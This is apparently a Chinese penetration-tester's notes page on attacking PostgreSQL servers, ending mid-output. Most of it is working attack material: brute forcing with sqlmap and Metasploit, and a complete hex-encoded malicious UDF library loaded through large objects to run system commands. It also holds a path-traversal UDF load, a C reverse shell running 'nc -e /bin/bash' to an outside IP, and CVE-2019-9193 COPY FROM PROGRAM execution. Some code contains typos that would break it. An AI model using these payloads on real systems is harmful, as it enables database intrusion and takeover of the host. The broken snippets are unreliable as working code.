跳至主要內容

PostgreSQL Attack

Mr.zha0cai大约 90 分钟

  1. PostgreSQLopen in new window 数据库暴力猜解 猜解成功后可进行的操作 可对数据库进行操作(增、删、改、查) 可通过数据库函数执行系统命令
  2. PostgreSQL 注入
  3. PostgreSQL 教程 | 菜鸟教程 (runoob.com)open in new window,5432 默认端口
  4. PostgreSQL 在 docker 容器中,非 root 权限起的服务【debuff 拉满】
┌──(root㉿kali)-[~/Desktop/dirtycow-master]
└─# nmap -p 5432 192.168.200.187
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-20 02:41 EDT
Nmap scan report for 192.168.200.187
Host is up (0.0028s latency).

PORT     STATE SERVICE
5432/tcp open  postgresql
MAC Address: 08:00:27:08:7F:43 (Oracle VirtualBox virtual NIC)

信息收集

版本信息

-- 详细服务器版本信息
select version(); 
-- 查询服务器版本
show server_version;
-- 从绝对路径中进行读取
select pg_read_file('PG_VERSION', 0, 200);

======== e.g.
postgres=# select version();
-- 详细信息
 PostgreSQL 14.5 (Debian 14.5-1.pgdg110+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 10.2.1-6) 10.2.1 20210110, 64-bit
(1 row)

postgres=# show server_version;
         server_version   
--------------------------------
 14.5 (Debian 14.5-1.pgdg110+1)
(1 row)

postgres=# select pg_read_file('PG_VERSION', 0, 200);
 pg_read_file 
--------------
 14          +
 
(1 row)

数字版本信息包括小版号

SHOW server_version_num;
SELECT current_setting('server_version_num');

======== e.g.
postgres=# SHOW server_version_num;
 server_version_num 
--------------------
 140005
(1 row)

postgres=# SELECT current_setting('server_version_num');
 current_setting 
-----------------
 140005
(1 row)

其他常用信息

-- 获取安装目录(通过路径可以判断系统是 linux 还是 windows 的)
select setting from pg_settings where name = 'data_directory';

-- 获取配置文件路径
select setting from pg_settings where name='config_file';

-- 获取 Postgres 内网 ip 地址
select inet_server_addr();

======== e.g.
postgres=# select setting from pg_settings where name = 'data_directory';
         setting        
--------------------------
 /var/lib/postgresql/data
(1 row)

postgres=# select setting from pg_settings where name='config_file';
                 setting                
------------------------------------------
 /var/lib/postgresql/data/postgresql.conf
(1 row)

postgres=# select inet_server_addr();
 inet_server_addr 
------------------
 172.17.0.2
(1 row)

常用指令

-- 命令行客户端操作 pg 数据库常用操作
1. 链接数据库
$psql -U user_name -d database_name -h serverhost
$psql -h x.x.x.x -U username -W

2. 命令常用操作
\h	# 查看所有的 sql 关键字
\? 	# 命令行操作的帮助
\d 	# 查看当前 schema 中所有的表
\q	# 退出 pg 命令行
\d	# schema.table 查看表的结构
\x	# 横纵显示切换 
\dT+	# 显示扩展类型相关属性及描述
\dx	# 显示已安装的扩展插件
\du     # 查看用户权限
\l	# 列出所有的数据库
\! hostname # 列出当前的主机名(客户端)
\timing	# 显示执行时间
\c database_name	# 切换数据库
set search to schema	# 切换 schema
explain analyze sql	# 解释或分析 sql 执行过程
SELECT pg_ls_dir('./'); # 列出指定目录中的文件和子目录,不能是绝对路径
select pg_read_file('postgresql.auto.conf', 0, 200); # 读取系统文件:

-- 权限说明
login: 可登录
superuser:数据库超级用户
createdb:创建数据库权限
createrole:创建和删除其他普通用户的权限
replication:流复制时用到的一个用户属性,需要单独设定
password:登录时需要指定密码
inherit:用户组对组员的一个集成标识,成员可以集成用户组的特性权限

========
                                   List of roles
 Role name |                         Attributes                         | Member of 
-----------+------------------------------------------------------------+-----------
 postgres  | Superuser, Create role, Create DB, Replication, Bypass RLS | {}

3. 查看用户的不同语句
SELECT user;
SELECT current_user;
SELECT session_user;
SELECT usename FROM pg_user; # 这里是 usename 不是 username
SELECT getpgusername();

4. 查看当前数据库
SELECT current_database()

弱口令爆破

  • fscan、超级弱口令、msf
  • sqlmap
┌──(root㉿kali)-[~]
└─# sqlmap -d "PostgreSQL://postgres:password@192.168.200.187:5432/postgres" --os-cmd id

// 可惜架构不匹配

MSF

┌──(root㉿kali)-[~/Desktop/dirtycow-master]
└─# msfconsole

msf > use auxiliary/scanner/postgres/postgres_login 
msf auxiliary(scanner/postgres/postgres_login) > show options
// 这里只需要设置目标 PostgreSQL 的 ip 地址,USER_FILE 和 PASS_FILE 使用默认进行测试,当然实际环境需要用自己的字典文件。
msf6 auxiliary(scanner/postgres/postgres_login) > set rhosts 192.168.200.187
rhosts => 192.168.200.187

exploit

msf6 > use exploit/multi/postgres/postgres_copy_from_program_cmd_exec
[*] Using configured payload cmd/unix/reverse_perl

msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > show options

image

使用数据库执行系统命令

UDF 提权

摘抄,未实战

  1. 获取源码
git clone https://github.com/sqlmapproject/udfhack/
  1. 编译源码(数据库版本:9.6)
# 利用 udfhack 生成 udf
git clone https://github.com/sqlmapproject/udfhack
cd udfhack/linux/64/lib_postgresqludf_sys

# 安装 postgresql
apt-get install postgresql-server-dev-9.6

# 编译
gcc -Wall -I/usr/include/postgresql/9.6/server/ -Os -shared lib_postgresqludf_sys.c -fPIC -o udf64.so

# 缩减 so 文件大小
strip -sx udf64.so 
  1. 将 udf64.so 转为 hex,上传到服务器
#~/usr/bin/envpython2.7
#-*- coding:utf-8-*_

import sys

if __name__=="__main_":
    if len(sys.argv) != 2:
        print "Usage: python"+sys.argv[0]+"inputfile"
        sys.exit()
  
    fileobj=open(sys.argv[1]'rb')
  
    for b in fileobj.read():
        sys.stdout.write(r'{:02x}'.format(ord(b)))
    fileobj.close()

将文件 hex 后去除 \n

cat udf.so | xxd -ps | tr -d "\n" 
  1. 将以上代码保存为 bin2hex.py,然后使用如下命令转换: ​python bin2hex.py udf64.so​​

    将得到的 hex 值传入下面的语句中执行:

INSERT INTO pg_largeobject (loid, pageno, data) VALUES (19074, 0, decode('7f454c4....', 'hex'));

接下来我们需要将 udf.so 文件分割成每 2048 字节的块,最后一个块的大小不满足 2048 字节不需要考虑。为什么不能小于 2048?是因为在 postgresql 高版本处理中,如果块之间小于 2048,默认会用 0 去填充让块达到 2048 字节所以上传的文件才会一直创建函数失败。

将文件分成小于等于 2KB 大小的 hex 再进行上传,但是在 9.6​ 版本中必须切割**等于 2KB​ ** 的数据上传才会成功。

稍微修改一下代码,如下:

#~/usr/bin/envpython2.7
#-*- coding:utf-8-*_

import sys

if __name__=="__main_":
    if len(sys.argv) != 2:
        print "Usage: python"+sys.argv[0]+"inputfile"
        sys.exit()
  
    fileobj=open(sys.argv[1]'rb')
    i = 0
  
    for b in fileobj.read():
        sys.stdout.write(r'{:02x}'.format(ord(b)))
        i = i+1
        if i % 2048 == 0:
            print "\n"
    fileobj.close()

lo_create​ 函数,创建一个新的大对象 (Large Object) 并返回其标识符 (OID)。在这里,参数 11111​ 是要分配给新大对象的 OID 值。

大对象是 PostgreSQL 中的一种数据类型,用于存储大量二进制数据,比如图像、音频或视频文件等。它们通常被用于存储超过单个数据库行限制的数据。

请注意,执行此函数调用需要在具有适当权限的数据库用户上下文中进行,并且数据库必须已经启用了大对象支持。

这样分成多个段进行写入,就可以成功写入,使用如下命令:

-- 创建指定 OID 值的大对象
SELECT lo_create(11111);

INSERT INTO pg_largeobject VALUES (11111, 0, decode('7f454c4...0000', 'hex'));

INSERT INTO pg_largeobject VALUES (11111, 1, decode('0000000...0000', 'hex'));

INSERT INTO pg_largeobject VALUES (11111, 2, decode('f604000...0000', 'hex'));

INSERT INTO pg_largeobject VALUES (11111, 3, decode('0000000...7400', 'hex'));

.....

-- 将大对象的内容导出到指定的文件路径 OID,导出路径
SELECT lo_export(11111, '/tmp/test.so');
-- 删除指定的大对象
SELECT lo_unlink(11111);
  1. 创建 Postgresql 功能
-- 通过使用 CREATE OR REPLACE FUNCTION 语句,创建了一个名为 sys_exec 的函数。它通过调用 C 语言编写且其实现代码位于 /tmp/test.so 文件中
CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS '/tmp/test.so', 'sys_exec' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;

CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/test.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
  1. 使用 sys_exec 执行命令
SELECT sys_exec('id'); # 无回显

SELECT sys_eval('id'); # 有回显

完整实例

# 如果在内网无法反弹可以使用 sqlmap 作者关于 udfhack 的 so 文件,已经写好了在 github 直接下载编译即可,编译方法同上。
# https://github.com/sqlmapproject/udfhack/tree/master/linux/64/lib_postgresqludf_sys
# 这里我直接给出 hex 分片过 sql 语句直接写入即可创建成功

-- 创建大对象
SELECT lo_create(9023);

insert into pg_largeobject values (9023, 0, decode('7f454c4602010100000000000000000003003e0001000000000d0000000000004000000000000000e8210000000000000000000040003800070040001a00190001000000050000000000000000000000000000000000000000000000000000004c140000000000004c1400000000000000002000000000000100000006000000f81d000000000000f81d200000000000f81d200000000000d802000000000000e00200000000000000002000000000000200000006000000181e000000000000181e200000000000181e200000000000c001000000000000c00100000000000008000000000000000400000004000000c801000000000000c801000000000000c80100000000000024000000000000002400000000000000040000000000000050e5746404000000cc11000000000000cc11000000000000cc110000000000006c000000000000006c00000000000000040000000000000051e574640600000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000052e5746404000000f81d000000000000f81d200000000000f81d200000000000080200000000000008020000000000000100000000000000040000001400000003000000474e550052705bc9352a28aa252e8edf0fbc5d4c32e634e800000000030000001a00000002000000070000008440030810890c99880c008dc84400001a0000002100000026000000325e541ea868be124245d5ec2e67541eaa5fbe12bae3927c5f4de3214aad229d32a1f45bd871581cb88df10e25681b32c60da6d4ead3ef0e6637d3ed339268fe000000000000000000000000000000000000000000000000000000000000000003000900580b0000000000000000000000000000de00000012000000000000000000000000000000000000000901000012000000000000000000000000000000000000001c00000020000000000000000000000000000000000000007601000012000000000000000000000000000000000000006f01000012000000000000000000000000000000000000003a0100001200000000000000000000000000000000000000d60000001200000000000000000000000000000000000000110100001200000000000000000000000000000000000000fb0000001200000000000000000000000000000000000000690100001200000000000000000000000000000000000000010000002000000000000000000000000000000000000000c500000010000000000000000000000000000000000000009800000012000000000000000000000000000000000000006301000012000000000000000000000000000000000000000101000012000000000000000000000000000000000000003f0100001200000000000000000000000000000000000000f500000012000000000000000000000000000000000000005d0100001200000000000000000000000000000000000000320100001200000000000000000000000000000000000000610000002000000000000000000000000000000000000000380000002000000000000000000000000000000000000000520000002200000000000000000000000000000000000000dd00000010000000000000000000000000000000000000002d0100001200000000000000000000000000000000000000e300000012000b00d20e0000000000000800000000000000bc00000012000b00850e0000000000004d000000000000008601000010001600d0202000000000000000000000000000b300000012000b007d0e0000000000000800000000000000ec00000012000b00da0e000000000000c3000000000000009901000010001700d82020000000000000000000000000005001000012000b003b1000000000000031010000000000001801000012000b009d0f00000000000008000000000000008300000012000b00ed0d00000000000030000000000000008d01000010001700d02020000000000000000000000000001000000012000900580b00000000000000000000000000002101000012000b00a50f0000000000008e000000000000007500000012000b00e50d00000000000008000000000000001600000012000c006c1100000000000000000000000000004701000012000b00331000000000000008000000000000009f00000012000b001d0e0000000000006000000000000000005f5f676d6f6e5f73746172745f5f005f696e6974005f66696e69005f49544d5f64657265676973746572544d436c6f6e655461626c65005f49544d5f7265676973746572544d436c6f6e655461626c65005f5f6378615f66696e616c697a65005f4a765f5265676973746572436c61737365730050675f6d616769635f66756e6300746578745f7074725f746f5f636861725f707472006d616c6c6f63006368725f7074725f746f5f746578745f7074720070675f66696e666f5f7379735f657865630070675f6465746f6173745f646174756d0073797374656d0070667265650070675f66696e666f5f7379735f6576616c00706f70656e006667657473007265616c6c6f63007374726e6370790070636c6f73650070675f66696e666f5f7379735f62696e6576616c00666f726b00737973636f6e66006d6d617000776169747069640070675f66696e666f5f7379735f66696c657265616400666f70656e00667365656b006674656c6c0066636c6f7365006672656164006c6962632e736f2e36005f6564617461005f5f6273735f7374617274005f656e6400474c4942435f322e322e3500000000000200', 'hex'));
insert into pg_largeobject values (9023, 1, decode('0200000002000200020002000200020002000000000002000200020002000200020002000000000002000000020001000100010001000100010001000100010001000100010001000100010001000000010001007c0100001000000000000000751a6909000002009e01000000000000f81d2000000000000800000000000000b00d000000000000001e2000000000000800000000000000700d000000000000101e2000000000000800000000000000101e200000000000d81f20000000000006000000040000000000000000000000e01f200000000000060000000c0000000000000000000000e81f20000000000006000000150000000000000000000000f01f20000000000006000000160000000000000000000000f81f200000000000060000001700000000000000000000001820200000000000070000000200000000000000000000002020200000000000070000000300000000000000000000002820200000000000070000000500000000000000000000003020200000000000070000000600000000000000000000003820200000000000070000000700000000000000000000004020200000000000070000000800000000000000000000004820200000000000070000000900000000000000000000005020200000000000070000000a00000000000000000000005820200000000000070000002200000000000000000000006020200000000000070000000b00000000000000000000006820200000000000070000000c00000000000000000000007020200000000000070000000d00000000000000000000007820200000000000070000000e00000000000000000000008020200000000000070000000f0000000000000000000000882020000000000007000000100000000000000000000000902020000000000007000000110000000000000000000000982020000000000007000000120000000000000000000000a02020000000000007000000130000000000000000000000a82020000000000007000000140000000000000000000000b02020000000000007000000170000000000000000000000b82020000000000007000000180000000000000000000000c02020000000000007000000190000000000000000000000c820200000000000070000002900000000000000000000004883ec08488b057d1420004885c07405e8c30000004883c408c30000000000000000000000000000ff3582142000ff25841420000f1f4000ff25821420006800000000e9e0ffffffff257a1420006801000000e9d0ffffffff25721420006802000000e9c0ffffffff256a1420006803000000e9b0ffffffff25621420006804000000e9a0ffffffff255a1420006805000000e990ffffffff25521420006806000000e980ffffffff254a1420006807000000e970ffffffff25421420006808000000e960ffffffff253a1420006809000000e950ffffffff2532142000680a000000e940ffffffff252a142000680b000000e930ffffffff2522142000680c000000e920ffffffff251a142000680d000000e910ffffffff2512142000680e000000e900ffffffff250a142000680f000000e9f0feffffff25021420006810000000e9e0feffffff25fa1320006811000000e9d0feffffff25f21320006812000000e9c0feffffff25ea1320006813000000e9b0feffffff25e21320006814000000e9a0feffffff25da1320006815000000e990feffffff25d21320006816000000e980feffff488d05d0132000488d3dc2132000554829f84889e54883f80e77025dc3488b05b41220004885c074f25dffe00f1f4000488d0599132000488d3d92132000554829f84889e548c1f8034889c248c1ea3f4801d048d1f875025dc3488b158f1220004885d274f25d4889c6ffe20f1f4000803d5913200000752748833d7712200000554889e5740c488d3d82102000e82dffffffe868ffffff5dc6053013200001f3c30f1f4000662e0f1f84000000000048833d50102000007426488b05271220004885c0741a55488d3d3a1020004889e5ffd05de957ffffff0f1f8000000000e94bffffff488d05c4030000c355534889fb508b17c1ea028d6afc8d7d014863ffe84afeffff4863d5488d73044889c74889d1f3a4c60410005a5b5dc341544983ccff4c89e15531ed4088e8534889fbf2ae48f7d1488d7903e812feffff4889df4889c24c89e14088e84889def2ae4889df48f7d18d048d0c0000004c89e189024088e8f2ae488d420448f7d14c01e14889c74889d0f3a45b5d415cc3488d0528030000c341554154554889fd5351488b7f20e8a8fdffff4889c74889c3e86dfdffff4989c44889c7e832fdffff4c89e74189c5e8d7fcffff483b5d2074084889dfe809feffff5a5b5d415c4489e8415dc3488d05cf020000c34157415641554154555352488b7f20e852fdffff4889c7e81afdffffbf000400004889c5e84dfdffffbf010000004989c4e840fdffff488d35690200004889efc600004889c331ede869fdffff4989c54c89eabe080000004c89e7e8c6fcffff4885c0743931c04c89e74883c9fff2ae4889df48f7d14c8d71ff468d7c35004963f7e80ffdffff488d3c284963d64c89e64889c34963efe82afcffffebb24c89efe870fcffff803b007405c6442bff00584889df5b5d415c415d415e415fe953fdffff488d0500020000c341545553488b7f20e88efcffff4989c48b28e824fdffff85c07907b801000000eb677555c1ed02bf1e000000e8dafcffff83ed04488d70ff4531c94863ed4531c031ff488d042e48f7d6b921000000ba070000004821c6e8cffbff', 'hex'));
insert into pg_largeobject values (9023, 2, decode('ff4883f8ff4889c374b6498d7424044889ea4889c7e886fbffffffd3eb0eba0100000031f689c7e854fcffff31c05b5d415cc3488d0566010000c341574989ff41564155415455534883ec28488b7f20e8ebfbffff488d7c240f488d3524010000b911000000f3a44889c7e8a0fbffff488d350b0100004889c74989c4e81efcffff4885c04889c3744431f6ba020000004889c7e8c7fbffff4889dfe87ffbffff31d231f64889c54889df4189c5e8adfbffff8d7d014863ffe892fbffff4885c04989c675144889dfe8f2faffff41c6471c0131c0e9830000004889d9ba010000004863f54889c7e8c3faffff4889dfe8cbfaffff8d7c2d014863ffe84ffbffff31d24889c34139d58d04127e23418a041688c183e00fc0e9048a44040f83e10f8a4c0c0f88445301880c5348ffc2ebd548984889dfc6040300e8b1fbffff4889df4889c5e846faffff4c89f7e83efaffff4c89e7e836faffff4889e84883c4285b5d415c415d415e415fc34883ec084883c408c300000000000000000000007200726200303132333435363738394142434445460000000000000000000000010000000100000001000000010000001c0000008a0300006400000020000000400000000100000001000000011b033b680000000c000000b4f9ffff8400000019fcffffac00000021fcffffc400000051fcffffec000000b1fcffff1c010000b9fcffff3401000006fdffff6c0100000efdffff84010000d1fdffffcc010000d9fdffffe401000067feffff140200006ffeffff2c0200001400000000000000017a5200017810011b0c070890010000240000001c00000028f9ffff80010000000e10460e184a0f0b770880003f1a3b2a33242200000000140000004400000065fbffff080000000000000000000000240000005c00000055fbffff3000000000410e108602410e188303440e20670e18410e10410e08002c000000840000005dfbffff6000000000420e108c02480e188603460e208304024c0e18410e10420e0800000000000014000000b40000008dfbffff08000000000000000000000034000000cc0000007dfbffff4d00000000420e108d02420e188c03410e208604440e288305410e30790e28410e20410e18420e10450e0800140000000401000092fbffff080000000000000000000000440000001c01000082fbffffc300000000420e108f02420e188e03420e208d04420e288c05410e308606410e388307410e4002a60e38440e30410e28420e20420e18420e10420e081400000064010000fdfbffff0800000000000000000000002c0000007c010000edfbffff8e00000000420e108c02410e188603410e20830402860e18410e10420e0800000000000014000000ac0100004bfcffff0800000000000000000000004c000000c40100003bfcffff3101000000420e108f02450e188e03420e208d04420e288c05410e308606410e388307440e600315010e38410e30410e28420e20420e18420e10420e080000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000', 'hex'));
insert into pg_largeobject values (9023, 3, decode('00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000b00d000000000000700d0000000000000000000000000000101e20000000000001000000000000007c010000000000000c00000000000000580b0000000000000d000000000000006c110000000000001900000000000000f81d2000000000001b0000000000000008000000000000001a00000000000000001e2000000000001c000000000000000800000000000000f5feff6f00000000f00100000000000005000000000000005006000000000000060000000000000060020000000000000a00000000000000aa010000000000000b00000000000000180000000000000003000000000000000020200000000000020000000000000028020000000000001400000000000000070000000000000017000000000000003009000000000000070000000000000070080000000000000800000000000000c00000000000000009000000000000001800000000000000feffff6f000000005008000000000000ffffff6f000000000100000000000000f0ffff6f00000000fa07000000000000f9ffff6f000000000300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000', 'hex'));
insert into pg_largeobject values (9023, 4, decode('181e20000000000000000000000000000000000000000000960b000000000000a60b000000000000b60b000000000000c60b000000000000d60b000000000000e60b000000000000f60b000000000000060c000000000000160c000000000000260c000000000000360c000000000000460c000000000000560c000000000000660c000000000000760c000000000000860c000000000000960c000000000000a60c000000000000b60c000000000000c60c000000000000d60c000000000000e60c000000000000f60c0000000000004743433a2028474e552920342e382e3520323031353036323320285265642048617420342e382e352d31362900002e7368737472746162002e6e6f74652e676e752e6275696c642d6964002e676e752e68617368002e64796e73796d002e64796e737472002e676e752e76657273696f6e002e676e752e76657273696f6e5f72002e72656c612e64796e002e72656c612e706c74002e696e6974002e74657874002e66696e69002e726f64617461002e65685f6672616d655f686472002e65685f6672616d65002e696e69745f6172726179002e66696e695f6172726179002e6a6372002e646174612e72656c2e726f002e64796e616d6963002e676f74002e676f742e706c74002e627373002e636f6d6d656e74000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000b000000070000000200000000000000c801000000000000c80100000000000024000000000000000000000000000000040000000000000000000000000000001e000000f6ffff6f0200000000000000f001000000000000f0010000000000006c00000000000000030000000000000008000000000000000000000000000000280000000b000000020000000000000060020000000000006002000000000000f0030000000000000400000002000000080000000000000018000000000000003000000003000000020000000000000050060000000000005006000000000000aa0100000000000000000000000000000100000000000000000000000000000038000000ffffff6f0200000000000000fa07000000000000fa07000000000000540000000000000003000000000000000200000000000000020000000000000045000000feffff6f02000000000000005008000000000000500800000000000020000000000000000400000001000000080000000000000000000000000000005400000004000000020000000000000070080000000000007008000000000000c0000000000000000300000000000000080000000000000018000000000000005e000000040000004200000000000000300900000000000030090000000000002802000000000000030000000a0000000800000000000000180000000000000068000000010000000600000000000000580b000000000000580b0000000000001a0000000000000000000000000000000400000000000000000000000000000063000000010000000600000000000000800b000000000000800b00000000000080010000000000000000000000000000100000000000000010000000000000006e000000010000000600000000000000000d000000000000000d0000000000006c04000000000000000000000000000010000000000000000000000000000000740000000100000006000000000000006c110000000000006c1100000000000009000000000000000000000000000000040000000000000000000000000000007a000000010000000200000000000000801100000000000080110000000000004c0000000000000000000000000000001000000000000000000000000000000082000000010000000200000000000000cc11000000000000cc110000000000006c00000000000000000000000000000004000000000000000000000000000000900000000100000002000000000000003812000000000000381200000000000014020000000000000000000000000000080000000000000000000000000000009a0000000e0000000300000000000000f81d200000000000f81d0000000000000800000000000000000000000000000008000000000000000000000000000000a60000000f0000000300000000000000001e200000000000001e0000000000000800000000000000000000000000000008000000000000000000000000000000b2000000010000000300000000000000081e200000000000081e0000000000000800000000000000000000000000000008000000000000000000000000000000b7000000010000000300000000000000101e200000000000101e0000000000000800000000000000000000000000000008000000000000000000000000000000c4000000060000000300000000000000181e200000000000181e000000000000c001000000000000040000000000000008000000000000001000000000000000cd000000010000000300000000000000d81f200000000000d81f0000000000002800000000000000000000000000000008000000000000000800000000000000d200000001000000030000000000000000202000000000000020000000000000d000000000000000000000000000000008000000000000000800000000000000db000000080000000300000000000000d020200000000000d0200000000000000800000000000000000000000000000001000000000000000000000000000000e00000000100000030000000000000000000000000000000', 'hex'));
insert into pg_largeobject values (9023, 5, decode('d0200000000000002d00000000000000000000000000000001000000000000000100000000000000010000000300000000000000000000000000000000000000fd20000000000000e900000000000000000000000000000001000000000000000000000000000000', 'hex'));

SELECT lo_export(9023, '/tmp/testeval.so');


-- 创建命令执行函数 
CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/lib_postgresqludf_sys.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;

-- 执行命令
select sys_eval('id');

-- 删除函数
drop function sys_eval;

其他版本 UDF【原理和上面的一致】

8.2 及以上版本可直接利用 sqlmap/data/udf​ 中所提供的 udf 文件,自己生成任意版本的 udf。【即上述】

1. 安装 postgresql 使用 apt install 或者找到对应版本的 postgresql 源码(这里用的 12.2),进行本地安装
./configure -prefix=/usr/local/pgsql --without-readline --without-zlib
make
make install

2. 利用 udfhack 生成 udf
git clone https://github.com/sqlmapproject/udfhack
cd udfhack/linux/lib_postgresqludf_sys

gcc -Wall -I/usr/local/pgsql/include/server/ -Os -shared lib_postgresqludf_sys.c -fPIC -o lib_postgresqludf_sys.so

strip -sx lib_postgresqludf_sys.so

3. 在目标上写入生成的 udf 文件
-- 函数签名:lo_from_bytea(oid, bytea) RETURNS oid 将二进制数据转换为 lo(Large Object)类型
select lo_from_bytea(9999, '\x......');
select lo_export(9999,'/tmp/udf.so');
CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/udf.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
select sys_eval('id');
drop function sys_eval;

查看

# 用于将文件 lib_postgresqludf_sys.so 的内容以十六进制表示打印出来,并通过 tr -d '\n' 命令删除其中的换行符
xxd -pe lib_postgresqludf_sys.so | tr -d '\n' 

8.2 以下可以直接调用系统的动态链接库 /lib/libc.so.6​ 或者是 /lib64/libc.so.6​(未测试)

CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE C STRICT;
CREATE FUNCTION system(cstring) RETURNS int AS '/lib64/libc.so.6', 'system' LANGUAGE C STRICT;

select system('id');

利用目录穿越加载 udf

另外某国外大佬open in new window发现在最新版的 postgresql 中,superuser 不再允许从 ***/PostgreSQL/11/lib​ 之外的地方加载 udf 文件,且该目录不允许 NETWORK_SERVICE 或者 postgres 写入文件。但是作者发现可以利用一个目录穿越漏洞进行加载 udf 文件,像下面这样

-- 写入文件到 ***/PostgreSQL/11/data 【默认会在 /var/lib/postgresql/data 目录下】
select lo_export(9999,'udf.so');

-- 目录穿越加载 udf
CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '../data/udf.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;

自定义反弹 shell

摘抄,未实战

  1. 跟 udf 的那个类似,唯一的不同就是使用的库不同,使用如下代码
#inlcude "postgres.h"
#include "fmgr.h"
#include <stdlib.h>

#ifdef PG_MOUDLE_MAGIC
PG_MOUDLE_MAGIC;
#endif

text *exec() {
    system("nc -e /bin/bash 192.168.202.61 7777");
}
  1. 编译代码
gcc nc.c -I`pg_config --includedir-server` -fPIC -shared -o nc.so

strip -sx nc.so
  1. 创建功能
CREATE OR REPLACE FUNCTION exec() RETURNS text AS  '/tmp/nc.so', 'exec' LANGUAGE C STRICT;
  1. 在 kali 上监听 7777 端口
nc -lnvp 7777
  1. 执行功能
SELECT exec();

RCE(CVE-2019-9193

https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5open in new window

  • PostgreSQL 提权(用数据库执行系统命令)

    PostgreSQL 是一款关系型数据库。其 9.3 到 11 版本中存在一处“特性”,管理员或具有“COPY TO/FROM PROGRAM​​”权限的用户,可以使用这个特性执行任意命令。

  • 这个漏洞可以直接执行系统命令,还可以看到回显结果

执行命令

drop table if exists cmd_exec;
create table cmd_exec(cmd_output text);
copy cmd_exec from program 'id';
select * from cmd_exec;
                                                                                                        
======== e.g.
┌──(root㉿kali)-[~]
└─# psql         
psql: error: connection to server on socket "/var/run/postgresql/.s.PGSQL.5432" failed: No such file or directory
        Is the server running locally and accepting connections on that socket?
                                                                                                                 
┌──(root㉿kali)-[~]
└─# psql -h 192.168.200.187 -U postgres -W 
Password: 
psql (15.2 (Debian 15.2-2), server 14.5 (Debian 14.5-1.pgdg110+1))
Type "help" for help.

postgres=# \! hostname
kali
postgres=# \d
          List of relations
 Schema |  Name   | Type  |  Owner   
--------+---------+-------+----------
 public | cm_user | table | postgres
(1 row)

postgres=# \l
                                                List of databases
